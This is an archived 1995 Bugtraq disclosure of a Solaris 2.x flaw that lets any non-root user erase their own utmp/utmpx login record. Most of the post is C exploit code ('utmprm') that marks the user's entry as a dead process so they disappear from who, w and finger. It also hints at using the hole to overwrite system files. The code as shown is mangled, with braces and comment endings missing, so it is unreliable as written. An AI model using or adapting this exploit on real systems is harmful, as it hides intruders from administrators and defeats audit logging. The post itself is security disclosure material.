Home page logo

bugtraq logo Bugtraq mailing list archives

Solaris 2.x utmp hole
From: chasin () crimelab com (Scott Chasin)
Date: Wed, 17 May 95 17:07:11 MDT

The following is somewhat of a security hole in Solaris 2.x which
allows any non-root user to remove themselves from /var/adm/utmp[x]
files (who, w, finger, etc).

Now the trick here is also to exploit this enough so that you can
change your ttyname (which can easily be done) and manipulate a
system utility into writing to that new ttyname (which could be a
system file).  This example only takes you out of the utmp files.

-------->8 Cut here for exploit code 8<--------

 * utmprm (version 1.0)
 * Copyright, 1994, 1995 by Scott Chasin (chasin () crimelab com)
 * This material is copyrighted by Scott Chasin, 1994, 1995. The 
 * usual standard disclaimer applies, especially the fact that the 
 * author is not liable for any damages caused by direct or indirect 
 * use of the information or functionality provided by this program.

/* utmprm takes advantage of a Solaris 2.x utmpx system call that
 * allows any user to remove themselves from the corresponding
 * utmp files and partly out of the eyes of monitoring admins.
#include <stdio.h>
#include <pwd.h>

#include <utmpx.h>

char *strchr(), *strdup(), *ttyname(), *getlogin();

main (argc, argv)
int argc;
char **argv;
  uid_t ruid, getuid();
  char *ttyn, *tty, *username;
  struct passwd *pwd;

  /* Grab our ttyname */
  ttyn = ttyname(0);

  if (ttyn == NULL || *ttyn == '\0') 
      fprintf (stderr, "utmprm: where are you?\n");
      exit (1);
  if (tty = strchr (ttyn + 1, '/'))
      tty = ttyn;

  /* Grab our login name */
  ruid = getuid ();
  username = getlogin ();

  if (username == NULL || (pwd = getpwnam (username)) == NULL ||
      pwd->pw_uid != ruid)
      pwd = getpwuid (ruid);

  if (pwd == NULL) 
      fprintf (stderr, "utmprm: who are you?\n");
      exit (1);

  username = strdup (pwd->pw_name);

  utmpx_delete (username, tty);
utmpx_delete (user, line)
  char *user;
  char *line;
    struct utmpx utx;
    struct utmpx *ut;

    /* Let's build a utmpx structure that looks like
     * our entries profile.
    strncpy (utx.ut_line, line, sizeof (utx.ut_line));
    strncpy (utx.ut_user, user, sizeof (utx.ut_user));

    /* We use getutxline to search /var/adm/utmpx for our
     * entry.

    if ((ut = getutxline (&utx)) == 0)
        printf ("utmprm: entry not found for %s (%s)\n", user, line);
        /* We have found our utmp entry.  Now lets change
         * our status to that of a DEAD_PROCESS.

        ut->ut_type = DEAD_PROCESS;
        ut->ut_exit.e_termination = 0;
        ut->ut_exit.e_exit = 0;
        gettimeofday (&(ut->ut_tv));

        /* Using pututxline as a normal user, we take advantage
         * of the fact that it calls a setuid system call to
         * modify the utmpx entry we just build.  The only check
         * that pututxline has is that the login name in the utmpx
         * entry must match that of the caller's and that the
         * utmpx device entry is a real device writable by the
         * caller.

        pututxline (ut);
        printf ("utmprm: %s (%s) removed.\n", user, line);
    endutxent ();

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]